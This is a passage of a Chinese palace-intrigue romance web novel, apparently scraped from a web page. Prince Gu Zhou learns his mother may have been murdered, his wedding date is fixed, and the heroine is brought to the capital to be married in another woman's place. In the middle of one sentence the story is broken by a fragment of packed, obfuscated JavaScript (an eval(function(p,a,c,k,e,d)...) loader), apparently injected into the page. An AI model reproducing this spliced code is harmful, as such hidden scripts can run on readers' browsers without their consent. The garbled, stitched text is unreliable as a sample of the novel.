他落下一子,引起顾洲的注意,之后才说道:“殿下能明白最好,皇后娘娘与小公主的死因,还要等殿下来查清。” 顾洲正心事复杂,此言一出如巨石入湖,激荡起的水花覆没了所有的粼粼细波,沉闷的声音给他沉重一击。 他骤然抬眸,瞳孔紧缩,手中棋子掉在棋盘上,清脆的声响如同一记惊雷劈在大树上。 “舅父……在说什么?” 徐茂将多年疑惑全部说出,房中的氛围逐渐渐凝重起来。 顾洲回忆当年的事,回京后,他就被安排了专人教养照顾,国子监的老师给他安排了繁重的课业,每次去看母亲,都觉得她愈发憔悴。 他又确认道:“舅父是说,我母亲和妹妹是被宫中之人所害?” 徐茂将那颗掉落的棋子摆正,“臣是这样怀疑,可没有证据。那时你太小,不懂大人的事,不知你母亲的处境,也不知有多少人在觊觎这皇后这位。” “难产之事,臣一直觉得蹊跷,臣虽不懂妇人生产之事,但也见到过孩童诞生。徐家是将门,你母亲自小习武,身体康健,生你时虽是头胎,却也平安顺利。 “你们被找回时,衣衫整洁,不像是受难的样子,反而是回宫安定后身子弱起来,以致难产而亡。” 接着他又拿出一枚箭簇,“这是当年臣派出人马带回来的箭簇,他们在找你们的路上遭到叛军。大殿下可能看出其中的问题?” 顾洲接过,箭簇光亮如新,上面雕刻着精美纹饰。 “这不是军战箭,是围猎时用的猎箭。” 虽然都是箭,但战箭的目标是敌人,猎箭的目标是猎物,两者对付目标的不同,在形制上有许多差别,很容易分辨。 顾洲立即明白,“这是有人假扮叛军阻止舅舅寻人?” 徐茂点点头:“娘娘得知此事,怕给恩人带来灾祸,便下令不再寻找。” 这些都与顾洲知道的一致,而他至今都没找到恩人,只怕那家人早已惨遭毒手。 突如其来的真相,顾洲有一刻的慌乱,但很快就镇定下来,一时间许多可疑的人物撞入脑中,让他理不出头绪。 “舅舅,我该怎么办?” 徐茂长叹一声,站起背对着顾洲,不想让这孩子看到自己老谋深算的嘴脸,压低声音,“洲儿,你要知道,地位越高权利越大,有了权利就不会受制于人,才能做你想做的事。” 他一顿,转过身直视顾洲,眼中几乎迸出火星:“殿下是嫡长子,这个位置也是殿下该得的。” 顾洲心中为之所动,十分清楚,这位置是现在的太子之位,未来的帝王之位。 有了权利才能去做想做之事,才能保护要保护之人。 只这一瞬间,决心就已定下来,他起身端然一礼,“请舅父助承平一臂之力。” 48. 婚期 三日后,齐宫大安殿,朝会。 顾崇颁布了封顾洲为绍王的圣旨,朝野因此震动,众朝臣都认为大殿下退婚一事,已让圣上心冷,更有见风使舵者掉转船头,不成想风向竟转得这样快。 朝堂上响起一片贺喜声,顾崇看着朝臣们的笑容,或真心或假意,或根本看不出,他下令散朝,命顾洲与柳公权到建章殿议事。 众人心知肚明,大殿下的婚事也要提上议程了。 建章殿中,顾洲与柳公权跪拜,顾崇只对柳公权说道:“柳爱卿平身。” “谢陛下。” 柳公权起身站立在侧,依旧躬身低头,静等圣上吩咐。 顾崇似乎并不着急,翻着奏折,从中拿出几本。 柳公权有些发慌,虽然找到了大女儿,可他的眉头依然紧锁,女儿一日不进京,这心就要悬一日,保不准其中还会有什么变数,交不出大女儿,柳氏一族全部得赔上性命。 他猜不透圣上心中所想,也不敢乱看圣上表情,只能微微抬目,看向俯首而跪的大殿下。 顾洲也不急,上次他跪在这里还是去营州前,那时他虽跪,却是挺着脊梁,任由奏折劈天盖地地砸来,若不是中官刘才拦着,那一对鎏金麒麟镇纸也将落到自己身上。 而这次他深深俯首,表示臣服与顺从,为了婚事,也为了那位置。 圣上不开言,其他人谁也不敢说话,甚至连动都不敢动一下,殿内的气氛凝重得几乎能拧出水来,柳公权后背更是出了一层汗,这样的单独召见,还是头一次。 今日有些阴天,大殿内多点了几盏蜡烛,忽明忽暗的烛火令他更加紧张。 “顾洲,你可知错!” 圣上骤然开口,语气似有不悦,不等顾洲有反应,柳公权率先跪倒在地。 顾崇疑惑地看着他,心想莫不是自己语气太过严肃,吓到了亲家? 于是缓和了语气,“来人,为柳侍郎赐座。” 柳公权胆战心惊的谢恩,落座后却不敢坐实,随时准备起身。 顾洲却知他为何这般反应,对婚事更有成算,但要一步步来。 他开口,大声说道:“回父皇,臣知错。臣有三错,其一,打架斗殴,有辱皇家风范;其二,治军不严,让细作有机可乘;其三,一意孤行,忤逆圣意,辜负天恩。” 顾崇未想他这儿子会将之前的事一并搬出,不再嘴硬,态度诚恳地认错,瞬间将不满消了一半,看来这小子在军营中长进了不少。 他又将那些弹劾顾洲的奏折收回,原本还想好好训斥一番,现在看来倒也没必要了。 但他还是吹毛求呲,免得这小子得意忘形,“你在营州立下的军功,可抵前两宗罪责,但你执意退婚,令朕心寒,也连累了柳侍郎和柳家大姑娘。你可想过,这一闹,京中之人会如何看待柳家?” “儿臣知错。”顾洲说着挺起上半身,跪着转向柳公权,“退婚之事,是承平一时糊涂,在此向柳大人赔罪,还望柳大人海涵。” 说完叩了一首。 亲王跪拜,柳公权怎敢接受,几乎是从座位上滑下来,双腿一曲,额头已沾地,“不敢、不敢,殿下真是折煞臣了……臣女能与殿下结亲,已是三生有幸,岂敢再怪罪于殿下……” 顾崇看着这一幕,轻笑一声,对这二人的反应,满意也不满意。 一旁侍立的刘才听到这回答和这声笑,悄悄为柳侍郎捏把汗,即便是大殿下真心道歉,他也不该接这话头。 而是该说些“自家门楣低,原与殿下不般配,是圣上抬爱,才高攀了殿下”的话,这样既感谢了圣恩,又保全殿下颜面。 刘才爱莫能助,只能悄悄叹息,真不知这柳大人是怎样将官做到了户部侍郎。 顾洲不在意这些,为显示自己真的知错,补充道:“为表诚意,承平明日便去府上迎娶。” 这可真真吓坏了柳公权,面上已变得僵硬,后背的冷汗已将衣衫湿透,正要找借口,就听到圣上的斥责声。 “胡闹!你这是娶正妻,岂能如此草率,如今未行三书六礼,就敢在此浑说。” 顾崇在心中叹了口气,刚还夸他有长进,这会儿就暴露了本性。 这个结果却在顾洲的意料之中,他从容应对:“臣是见柳大人不怪罪,欢喜过了头,还请父皇恕罪。” “柳侍郎不怪罪,是柳家大度,可你不该造次……说到婚事,这是礼部拟的婚期,你二人且看看。” 顾崇说着示意刘才将折子交给二人。 刘才双手奉着折子,先到了柳公权跟前,虽然顾洲为亲王,身份地位更高,但在此事上,柳公权是女方长辈,这婚期由他来定更合适。 柳公权还伏着首,在刘才轻唤了一声“柳大人”后,才反应过来,但不敢去接,只说道:“还请大殿下先行过目。” 他只顾着言行不出差错,却没有意识到已将主动权交了出去。 顾洲拿过折子,上书两个黄道吉日,一个在年关,而另一个则在十五日之后。 乘马车从安山到邺京,十五日时间能打个来回。 十五日,足够了,他毫不犹豫地选了寒月【1】十六这个好日子。 顾崇自然没什么意见,象征性地询问柳公权的意见:“柳爱卿,这个日子可好?” “十五日”几个字在柳公权脑中盘旋,原本就紧张的神经更加紧绷,同时也明白过味儿来,后悔没有把握时机,可为时已晚,他只能回答:“甚好,甚好……只是臣女体弱,恐耽误婚期。” 顾洲已料到他会有这样的借口,“柳大人不必担忧,我在北境认识了一位名医,可请他到府中为令爱诊疗。” “不必不必,”柳公权唯恐事情败露,又解释道:“怎敢劳烦大殿下……” 顾崇不愿再听他们拉扯,直接下令:“好,此事就这样定了,刘才,去传旨吧!” “是。”刘才接过圣旨,见柳公权不语也不动,开口道:“陛下您瞧,柳大人可是高兴坏了,连谢恩都忘了。” 经过提示,柳公权顿了一下才回过神来,赶紧叩首:“臣,谢主隆恩,谢主隆恩。” “柳大人,请随老奴去传旨。” 刘才语气谦卑,带走了柳公权,有意将空间留给那父子二人。 “承平谢父皇成全。” 顾洲这句话说得郑重其事、真心实意,可在顾崇看来却有着抱怨的意思。 这是他的心虚在作祟,他心知肚明,这婚事委屈了顾洲,现在户部人心各异,急需提拔一位官员来平衡势力,谨小慎微的柳公权成了最佳人选,而最快收买人心的最佳、最快方法就是结成姻亲,捆绑利益。 “别跪着了,起来吧。” 看着儿子的眉眼,竟有七分徐娴的影子,顾崇的心彻底软下来,他父子二人,已经很久没有像这样心平气和地说过话了,现在孩子即将成家,他不免要同普通父母似地叮嘱几句。 “洲儿,眼看着就成婚了,要将以前发性子收一收,别辜负柳家姑娘,你母亲在天上,看着会高兴的。” 顾洲抬起头,有些动容,恍惚看到了小时候与母亲一起盼着父亲回来、父亲将自己高高举过头顶的样子,但当他看到上座之人身上玄色龙纹衣袍时,金色丝线反射的光芒刺入眼中,思绪回归现实。 这人与他,先君臣后父子。 顾洲规规矩矩回答:“是,臣谨记父皇教导。” 父子亲情的戏码已演足,他合事宜的请辞,“父皇,儿臣想去看看六妹妹。” “去吧。” 提起六公主,顾崇才想到了魏婕妤,六公主顾淑生母,皇后徐娴曾经的侍女,名叫魏春萝。 他知顾洲儿时与她多有亲近,此番虽打着去看顾淑的名义,实则是去探望魏春萝。 齐帝后宫,中宫设皇后,其下三夫人、九嫔、五职及无数散位。【2】 魏春萝在徐娴有孕时,被徐家安排在顾崇身边服侍,性格沉闷并不得宠,分封后宫之时因皇后及六公主的原因,才给了封号,但这封号并不高,位列五职第一位,定婕妤封号。 自有中官前去通报,顾洲行至宫墙甬道中,远远就见顾淑在门口徘徊,见到人来,兴冲冲地过来:“哥哥,哥哥……” “慢些。” 顾洲笑着迎上去,众多兄弟姐妹中,只有这个妹妹与他最亲,自然也是因为徐娴与魏春萝的关系。 “淑儿见过长兄。” 顾淑轻快行了一礼,不及洲回应便将他拉入院内,却在不经意间向后望了一眼。 魏婕妤已在院中等待,见顾洲后行跪拜大礼。 顾洲赶紧将她扶起,还礼道,“娘娘这可使不得。” 魏才人的目光在顾洲身上错不开,眼眶微微泛红,“妾身原本就是皇后娘娘的婢女,自然也是殿下的婢女……许久不见殿下,殿下长这么高了,若是走在路上,我都不一定能认得出殿下来。” 二人已有几年未见面,魏才人深居简出,顾洲无大事也不入后宫,故同在京城,却不能见面。 “这都是多少年前的事了,承平一直视娘娘为长辈,还请娘娘受承平一礼。” “是,是……” 魏春萝怕在宫人前失仪,强忍着没落泪,请顾洲到殿内一叙。 如从前一般,她亲自倒茶布点心,看着顾洲手上的粗茧,有些心疼,“殿下在北境的受苦了,这次回来该好好歇歇才是。” “春姨……”顾洲忍不住按原来的称呼叫了一声,只有真正关心自己的人才会问自己累不累、苦不苦,这样对他的人,也只有舅母和此人。 魏春萝再也忍不住,抬手屏退左右后,才敢落下泪来,将点心往顾洲跟前推推,“都是殿下小时候爱吃的。” 顾淑拿起一块递上前,“是呀,母亲总是盼着哥哥来,所以经常做些糕点备着,就担心哥哥来时没有可口的点心用。” 顾洲接过送入口中,是熟悉的味道,是思念多年的味道,糕点经有些发干,看来的确是以前备下的,他整口吞掉,随即有茶水送上,一如小时候一般 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他本该称“母后”,可这个称呼他没叫过几次,还是习惯用母亲二字。 魏春萝愣了一下,没想到他会突然问这个问题,她也从未想过这个问题。 “难产,一尸两命,殿下应该记得。” “记得,只是有些事,现在想想觉得有些蹊跷,我与母亲逃难在外时,幸得一户姓王的人家收留,倒也没吃什么苦,反而是回来后母亲身体日渐消瘦,而姓王的那户人家,至今也未找到。” “殿下觉得娘娘是被人……” 魏春萝没有说出后面两个字,顾洲眨了一下眼睛表示认同。 一丝不安在魏才人周身缠绕,这些年她在宫中无宠无依,只能隐忍偷生,她甚至恐惧面对众位娘娘,有矛盾时的第一反应就是回避,渐渐地在后宫之中成了透明的存在。 “殿下,此事已过去多年,若有人证物证,也早已被销毁,哪里是那么容易查的。殿下如今已封王,也即将要成婚,就不要因陈年往事徒增烦恼了。” 她的推辞让顾洲有些心凉,但魏春萝是此事唯一的突破口,后宫中的人和事他已多年未涉足,能想到了只有她一人。 他还想再说服对方,就见对方站起身来,“这孩子去,怎么还没回来,我去瞧瞧。” 顾洲看着离开的身影,心中的希望破灭,无助感油然而生,虽然被拒绝,但他没有恼怒也没有失了礼数,起身随着出了门,他知道魏春萝对他的惦念是真,对此事的逃避也是真。 他想,总会再有办法的。 到了院中,侍女告回禀:“公主刚出了。” 找的顾淑之时,她正在甬道里,将一个盒子塞到徐铭怀中,那娇羞的模样从背影就看出。 依宫规,侍卫只能跟到各宫殿门口,不得入殿内。 这一幕太刺眼,担忧瞬间爬上魏春萝的面容,交握在一起双手微微有些泛白,手上的寒凉顺着经脉直达心底,她出身卑贱,但绝不允许女儿嫁得卑贱。 忽而,她生出一股勇气,眸中的忧虑被决心取代,转身对顾洲行了一礼,“我愿助殿下查清娘娘的死因。” 说完深深看了一眼大殿下,之后将目光投向顾淑。 顾洲立刻明白,魏青萝这是要他为顾淑安排一个好前程,这是在与他谈交易。 “婕妤的意思,本王明白了。” 他用称呼隔开两人间的距离,他没想到第一次自称“本王”,会是对着曾经的故人。 此次进宫,所有目的均已达成,可顾洲一点也高兴不起来,反而心情更加沉重,没有告辞便带着徐铭离开,留下满腹心事的魏才人和满脸不解的顾淑。 待走远了,徐铭见殿下不问盒子的事,心里发虚,主动开口,“殿下,这盒子是公主硬塞给属下的,说是刚做好的糕点。” 顾洲接过盒子打开,红豆茯苓糕还冒着丝丝热气,拿起来尝一口,已再不是从前的味道。 49. 秘闻 顾洲回到府上,门口正在张挂“绍王府”的牌匾,看着沉甸甸的牌匾,他心中五味杂陈。 接下来的日子,府中人来人往,礼官们恨不得太阳不要落山,心中难免抱怨,绍王随心所欲,可苦了他们,十五日,只有十五日,这么短的时间安排亲王的婚礼,怎么看怎么像是无稽之谈。 而顾洲则盼着月亮升起,盼着望日【1】到来,等到月亮最圆的时候,独属于他的明月就会来到他身边。 夜色如墨,月华如水,他持玉笛坐在屋顶上,笛声清越,穿云裂石,暗藏相思,一曲毕,万籁俱寂,唯有余音绕梁。 忽闻庭中有动静,低头只见一袭白色身影在下面抬头四望,这一幕似曾相识,营州别院之中,沈明月被他的笛声吸引,也是这样寻找。 是她到了吗? 顾洲心中一阵悸动,到了白衣跟前看清是谁后,怅然若失之感一瞬间涌遍全身,音色中也带上失落。 “你怎么穿成这样?” 海棠微微诧异,眸光波动间重新确认周围有没有危险,而主上突然出现在跟前也就罢了,表情还那样奇怪。 看了一眼自己的穿着,并没有觉得不妥,她依令留在王府做侍女,自然要穿侍女的衣服。 她只当是顾洲看着不习惯,没有解释,回答道:“奴婢这就去换掉。” “奴婢”这称呼,让顾洲记起这是他下的令,轻咳一声缓解尴尬,“不必了,有什么事吗?” 海棠习惯性地抱拳行礼,手抬到一半才意识到不对,改放到腰间,蹲身一礼,“回主上,刚传来的消息,柳家的马车明日进京。” “知道了。” 顾洲回答得很平淡,可眼角却是微挑,眸中闪烁出淡淡的光芒,那是内心涌动的潮水,破碎了粼粼月光。 这一晚他几乎没有睡眠,寂静的黑暗中,心跳声格外清晰,每一次跳动,都带着兴奋与忐忑。 他不知道沈明月见到自己会是什么反应,心潮澎湃、思绪万千之间无数个可能在他脑中闪现,最后却是毫无头绪,徒留满地怅然。 玉兔坠而金乌未起之时,他已站在城门上眺望远方,期盼马车的出现,期盼他的明月归来。 在失望了无数次后,他愈发焦急,甚至觉得有些喘不过气来。 眼见太阳又要落山,他已足足在此等候了一日,甚至怀疑海棠的消息是不是有误。 邺京寒月的风,虽不似北境那般凛冽逼人,却也寒凉透骨,可顾洲手中的帕子却微微发潮,那是沈明月绣的帕子,他一直保存到现在。 帕子逐渐变得褶皱,而帕子的主人似乎也已忍耐到极限。 黄昏的柔光布满天际,大片橙色令顾洲感到烦躁,他担心马车在路上出什么差池,起身要下楼去缘路寻找,却被海棠劝住。 在海棠看来,主上的担忧实在没必要,自从沈明月出发后,一直有暗卫跟踪保护,不会出错。 终于,两架行驶缓慢的车马出现在官道上,他走近城墙仔细去看,拳头不自觉地松开、握紧,但心又要失望。 海棠看后给出了肯定的答案,“是柳家的马车,与消息上描述的一致。” 顾洲绷着的脸终于缓和下来,目光随着马车缓缓移动,看着车夫扬起马鞭。 “到城门了。” 车夫提示众人行程,安寿立即安排人去柳府通报。 沈明月听到声音,掀开帘子往外瞧,正见各家食店开张营业,街上人来人往好不热闹,果然是京畿重地,到处是繁盛之景。 自离开沪上,她已经很久没见过这样繁荣的市井经济了。 食物的香气随风飘入车厢,沈明月忍不住咽了咽水,她正饿得心慌,就是路边摊位上最便宜的杂面汤,现在若能吃上一碗也是好的。 她内心早将常嬷嬷骂了千遍万遍,这老巫婆怕她再起什么幺蛾子,一天只给两顿稀饭,将她饿瘦了两圈,莺儿更是连抬头的力气都没有。 常嬷嬷也是一朝被蛇咬十年怕井绳,她不能对大姑娘动粗,只想出这个法子,一来让大姑娘没有力气逃跑,二来也保证了大姑娘体弱这个事实。 这一路上,她们像看犯人一样看守姑娘,每日都会为姑娘保养皮肤,主要是手脚,让她看起来更有闺阁千金的模样。 仅十余日时间,沈明月就被完全改造,变回了那个柔弱不堪的柳慕云。 沈明月被折磨得半死不活,车马行得快些就晕得难受,耽误了不少时间,今日为了赶着入城,常嬷嬷没安排晚饭,想等到柳府再说,这可是苦了她们二人。 香味还没闻够,常嬷嬷就车帘子强行按下,虽已进京,她但仍旧不敢放松,可不能在这最后一程出什么差错。 “大姑娘再忍耐些时候,很快就能到家了。” 沈明月看着她的戒备,觉得可笑,她现在说一句话要喘三口气。 “嬷嬷放心,我哪儿还有力气跑,回去之前没饿死就不错了!” “姑娘别说不吉利的话儿,咱们这一路艰难,膳食上虽然差了些,但也没有委屈姑娘呀!” “呦呵!白粥咸菜都不算委屈?你们家老爷是穷疯了吗?这么着急找女儿,原来是等着卖了换钱使!还是说这盘缠都被你们两口子贪污了,不舍得给本姑娘用?” 沈明月翻了她一个白眼,差点就将更脏的话骂出来,但想到自己还在她手上,只能姑且忍耐。 常嬷嬷一听就急了,“诶呦,姑娘,天大的冤枉,我们夫妻二人对柳家中心耿耿,从未有过私心,姑娘说话可要凭良心……” “凭良心?你先摸摸自己有没有良心,既然知道安山是外祖家,为什么不早早来寻?” 这不是沈明月抱怨,而是她一直以来的疑惑,她与恶魔王怀一家相识已久,若柳家早就找上王家,也不会发生后来一系列事情,很显然柳家联系上王家是最近的事。 这件事蹊跷之处在于,是什么原因让柳家突然想起王家。 “怎么姑娘不记得了?自从大夫人与娘家断绝关系后,主君与王家多年不联系,王家又乔迁,哪里是那么容易就找到的。” “那后来又是怎么找到的?” “主君在安山安排的人找到了这个,”常嬷嬷说着拿出了一只耳坠子,随后又补充一句:“此时又恰好找到了舅姥爷家。” 这耳坠子,沈明月熟悉得很,是她当掉的那只,但她只相信前半句,这后半句等可信度太低,哪里有那么多“恰好”的事,安山虽有变化,但毕竟只是个镇子,想找一户人家有何难。 要么是柳家实在不愿找王家,要么就是寻找之人懈怠。 路上她也试探过常嬷嬷,给柳慕云安排了什么样的婚事,可这老巫婆守口如瓶,只说“是泼天的富贵”,这让沈明月更加确定等着她的是龙潭虎穴。 不管怎样,事情已是这个结局,她的疑惑已解,再追究也没必要,待到柳家后养好精神,多拿些金银之物再想办法逃走。 沈明月没有再说话,握紧了耳坠子,当掉它时莺儿很是不舍,回头再把这个给她,算是全了念想。 想来也是柳慕云的母亲在天之灵保佑女儿,让她们得以有这一线生机。 马车在快到柳府大门时转入一条小巷,之后左拐右转,在一处小角门停下,早有几个婆子在门口等候,待车夫小厮回避后,众人簇拥着沈明月进院。 当大姑娘的脚踏入院中的那一刻,安寿夫妻才彻底地将心放下,来不及换衣服便分别回去覆命,安寿去了前院,常嬷嬷则到了李氏跟前。 李氏正焦急地等待,她虽为妾室,但柳家无主母,扶正是早晚的事,于是仆役私下里皆尊称其为夫人。 常嬷嬷行了跪拜大礼,“奴婢见过夫人。” “嬷嬷快请起,”李氏亲自上前将她扶起,“嬷嬷一路辛苦,且去休息更衣,我去瞧瞧大姑娘。” 常嬷嬷看着众人进屋后,压低声音说道:“奴婢随夫人一起去,大姑娘这脾气不知怎地变了许多,奴婢怕夫人吃亏。” 李氏并未当回事,“这丫头能有什么脾气,小时候最是懦弱,远不及她母亲刚强。” “夫人,今非昔比,这半年里也不知姑娘经历了什么,性情大变。” 李氏眉梢微沉,用只有二人能听到的声音问道:“可验过了?” 常嬷嬷点点头,“夫人放心,是完璧。” 李氏这才捂着胸口长长舒了一口气,这段时日主君脾气十分暴躁,她也只能小心规劝、软语抚慰,但收到安寿的信后,主君的话让她心中凉了半截。 安寿为表功劳,在信中将大姑娘的境况说得十分凄惨,柳公权看后不喜反忧。 李氏知道他在担忧什么,却无法提起,最后还是由柳公权说了出来,“若慕云做了败坏柳家名声之事,就乱棍打死,让慕雪替嫁,届时圣上追责,就说慕云突然暴毙,为不连累殿下名声,才出此下策。” 这话被柳慕雪听到,当即就寻死觅活起来,拿着白绫要上吊。 从前二女儿这样哭闹,柳公权早就巴巴去哄了,可这次他连瞧都没瞧,只让人传了一句话:“若想柳家都跟着陪葬,她就去死。” 柳慕雪当即就没了劲头,母女二人也只能盼着柳慕云完好无损地归来。 如今得到肯定的回答,亲女儿能逃过一劫,李氏欢喜无比,脚下步子都轻快了许多,还未进门就说道:“大姑娘路上受苦了。” 进了门正对上沈明月满含敌意的目光。 彼时沈明月正与这群人周旋,问莺儿怎么没进来,婆子们不敢多言,只回答:“姑娘有姑娘的住处,奴婢有奴婢的住处。” 她太知道柳家的嘴脸了,在王家时她们就想杀了莺儿,此番她们说什么她都不会相信,只要求见到莺儿本人。 正僵持间见一衣着华丽、满头珠翠的妇人进来,又见周围人皆行礼称“夫人”,沈明月便猜出此人身份。 “李姨娘,我已经回来,还请你们守约,保证莺儿安全。” 常嬷嬷上前与李氏耳语几句,说明情况,李氏听后赶紧吩咐道:“快去将莺儿带来。” 之后上前拉住沈明月如鸡爪一般的手,佯装悲伤:“瞧这孩子瘦的,快将炖好的人参鸡汤端来……来人,服侍姑娘沐浴更衣。” “先吃饭!” 沈明月甩开李氏的手,狠狠吐出几个字,再不吃东西她可真就要饿死了,暗骂道:猫哭耗子假慈悲,我被折磨成这样焉知不是你这女人的手笔。 不多时莺儿被带来,只是含着泪不说话,须臾间饭食也备好,除了那道鸡汤,还是清粥小菜。 沈明月恨不得将桌子掀掉,但又怕掀了桌子更没得吃,于是黑着脸将鸡汤全部喝完,甚至里面的肉渣都没放过。 李氏强装笑脸陪着大姑娘用完饭,打发人带去沐浴后,到前厅向柳公权交差。 沈明月躺在浴桶里,将耳坠子交给莺儿。 莺儿接过,有些不可思议,“这不是被卖掉了吗?姑娘又找回来了?” “我哪儿有钱,是常嬷嬷,她就 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嬷嬷咬重字眼,又重复一遍,“主君!姑娘的父亲。” “知道了。” 沈明月放缓了动作,想着一会儿要说什么,这声“父亲”她叫不出口,也不知柳慕云与父亲是如何相处的。 据她所知,王夫人病逝这柳公权都没有出现,柳慕云孝期未过就被安排婚事,一个人能把事做到这个份上,真是枉为人夫、枉为人父,甚至都枉为人。 她为柳慕云感到悲哀。 见面是逃不过去了,她又加快动作,早将他们打发走早睡觉。 回到房中,就见影影绰绰站着许多人,上座一中年男子刚刚放下茶杯,笑盈盈地看着她进来。 这就是柳慕云的父亲,沈明月不知该如何称呼,一时只站在原地不动。 李氏见状,一抬手遣退众人,上前扶助她的胳膊,微微向下用力,示意她行礼,“云儿快见过父亲。” 沈明月将手拂去,冷冷地招呼了一声:“柳大人。” 柳公权一听,登时撂下脸来,方才喜悦之心全然无踪。 在正堂时,他见李氏喜上眉梢的模样,便松了口气。 又听李氏开说“大姑娘一切安好”,他如解脱了一般,半年多的重压,几乎要将他压垮,有时恨不得以头抢地,一死白了。 他想过女儿对他的生疏,但没想到女儿对他无礼。 “柳大人?你就这样称呼父亲吗?你母亲就是这样教你的?” 这话令沈明月感到不平,她虽不是柳慕云,但既然占了这副躯体,她就要为柳慕云讨上几句公道。 “你有什么资格说她!你抛弃妻女,不养不教,推卸责任,真是令人不齿。她将女儿教得很好,若女儿在你身边,早被你卖了八回了。” “你……你大胆!竟敢如此对为父说话……” 柳公权神情一滞,眼前的大女儿令他感到陌生,他气到手抖,将茶杯砸到了沈明月脚边,他所气的并非是眼前的不敬,更担忧之后进了王府,会出言不逊惹恼绍王,连累柳家。 “主君息怒,主君息怒……” 李氏见柳公权动大怒,赶紧上前为他拍背顺气,转头对沈明月说道:“大姑娘有什么气冲我发,气坏了主君可是大逆不道之罪。” 沈明月并不惧怕,挺了挺腰杆,“呸!一对黑心夫妻,这样说你算是轻的……” 她还想继续指责,忽而进来一群婆子和婢女,原是常嬷嬷听见里面动静,将莺儿押了进来,她对现在的大姑娘多少有些了解,知道这小丫头是姑娘的软肋。 “回主君,教唆姑娘逃走的贱婢已带到,请主君发落。” 柳公权正一肚子气无处发泄,使劲拍了一下桌子,大喝道:“拉出去杖毙,杖毙!” “我看谁敢!” 又来这一套,沈明月怒火翻涌,扒开人群将莺儿护在怀中,“今日谁敢动她,我跟谁拼命。” “逆子!来人,给我捆起来!”柳公权气得脖子涨红,连拍了几下桌子。 众婆子互相看看,谁都不敢上前,恐伤了大姑娘,最后还是李氏打破僵局,“大姑娘舟车劳顿,且去好好休息,莺儿保护姑娘也算有功,柳家自然不会亏待。” 而后斥责众人:“地上寒凉,还不快将姑娘扶起来,后日就是姑娘大喜的日子,出来什么差池唯你们是问。” 什么?后日? 怎么会这么快,沈明月脑子一片空白,思绪飘了好一会儿,猛然回神才发觉已被送到了床上,崭新的被褥将她包裹,却没有一点温暖。 睡惯了硬板床,适应不了这柔软舒适。 掀开罗帐,两个小婢女坐在地上,问道:“姑娘有何吩咐。” 她躺回去,眼中一片荒芜,了无生机,这般严防死守,还逃什么逃?还能往哪里逃? 也不知躺了多久,窃窃私语声从罗帐缝隙处传入,大约是守夜的小婢女无聊,沈明月也未在意,翻个身继续惆怅。 “……这大姑娘嫁过去身份地位可就高了,姨娘处处争强,这事上,怎么不为二姑娘争一争?” “这你就不知道了吧,”回话的婢女将声音压得极低,“上次随夫人出去,我听说……” 沈明月竖起耳朵使劲听,只得几个字。 “……伤了根本,不能人事!” 50. 成亲 绍王府书房,灯火依旧。 顾洲连着打了两个喷嚏,徐铭立即将窗户关好,关切地提醒:“殿下,夜已深,该休息了,明日还有好多事。” “再写几张,你先去吧!” 顾洲没有抬头,放下笔,拿起大红洒金纸笺,欣赏着刚写好的“囍”字,觉得十分满意,而书案上平铺着写好“福禄寿喜”各色吉祥字。 海棠端着一盏银耳莲子羹进来,经过徐铭时看了他一眼,但又好似未见一般径直走过去,将碗盏放到书案上。 也不知是错觉还是事实,徐铭总觉得她看人的眼神怪怪的,忍不住问道:“喂,你什么意思?” 海棠依旧不语,默默整理着墨迹干透的纸片,之后又拿过砚台研墨。 得不到回应,让徐铭十分不快,就好似丢出去一块石头,却没有听到落地的回响一般,总是觉得缺少个结果,他气不过:“又不说话,你还有完没完了?” “徐铭!”顾洲站起身来,“我看是你没完了,下去。” “殿下您这是偏袒。” 顾洲抬头看,丢过去一个警告的眼神。 “是!” 徐铭不情不愿地离开,他今日心情大好,离见到沈先生和莺儿的时间越来越近,想想就开心,但这激动的心情被海棠一眼破坏,他也后悔招惹她做什么。 待他走后海棠才开口:“回殿下,奴婢已将新近调来的侍女调查了一遍,确定了几个可疑之人,这是名单。” “好,谨慎点,尽快处理掉。” “是,只是现在就处理的话,怕会惊动背后之人。” 顾洲思忖一下,“安排到院子里洒扫或是看屋子,别让她们接近沈明月。” “是……”海棠说完看到书案上的匕首,轻蹙一下眉头,抿抿嘴唇,似乎想要说什么。 这小动作被顾洲瞥见,以为她对沈明月还有什么想法,于是说道:“你还有什么想说的,索性一并说出来。” 却听海棠说道:“殿下……这匕首,还是收起来的好。” “哦?” 顾洲有些错愕,竟是他想错了,将目光移向匕首,轻轻拿起,抚着上面熠熠生辉的宝石,的确要将它好好收起来,没有这匕首,恐怕他现在都找不到沈明月。 海棠的意思他明白,她是担心沈明月知道真相,可他并没想隐瞒,等到合适的时机他会坦白一切。 “是该收起来。”顾洲又将碗盏一推,“吃完回去休息。” “奴婢不敢。”海棠屈膝行礼后退出去。 一道清辉穿过窗缝铺在红纸上,如剑锋劈开浑浊的烛光,顾洲干脆熄灭蜡烛,打开窗户,任由月光倾洒。 没了烛火,一切反而明晰起来,窗外枝叶疏漏、落影如画,复尔抬头,只见夜空如洗,明月高悬。 次日府中更加繁忙,婚礼在即,礼官各处查漏补缺、反复确认流程,务必保证仪式不出差错。 安国公夫人方氏带着侄女方英前来道贺,二人见到顾洲行礼问安。 顾洲上前扶起方氏,“舅母、英姐姐请起,此处无别人,不必多礼。” 方氏满意地看着顾洲,露出舒心的笑容,在她眼里,不论年岁多大,只要没成亲总归还是小孩子,这回好了,孩子终于要长大了。 她命人带上五个婢女,“我恐殿下府上的人年轻,不知如何服侍新人,便从国公府调来几个。” “舅母多虑了,礼部已安排人手。” “怎么?礼部安排的人还能有舅母安排的可心?” “自然是舅母安排到人好,还是舅母想到周全。”顾洲叫来海棠,吩咐道:“将人带去后院,安排在正房内。” “是。” 海棠在外人面前盈盈一拜,声音也柔糯了许多,倒像是个正经的婢女。 待人都下去后,方氏悄悄说道:“礼部安排的那些人,你要小心,你舅舅说里面不定混入什么人,所以我与你英姐姐便选了这几个可靠的给你送来。” 顾洲才发觉自进门后,方英一直没有说话,安静到坐在下首,低眉垂目。 他笑着谢道:“多谢舅母,多谢英姐姐。” “殿下客气了。”方英坐着欠身一礼,她面色微白,一副气血不足之相,说话声也是有气无力。 “英姐姐怎还是这般瘦弱?” “多谢殿下记挂,我这身子一像如此。” “听闻裴大人调任归京,姐姐可放心了。” 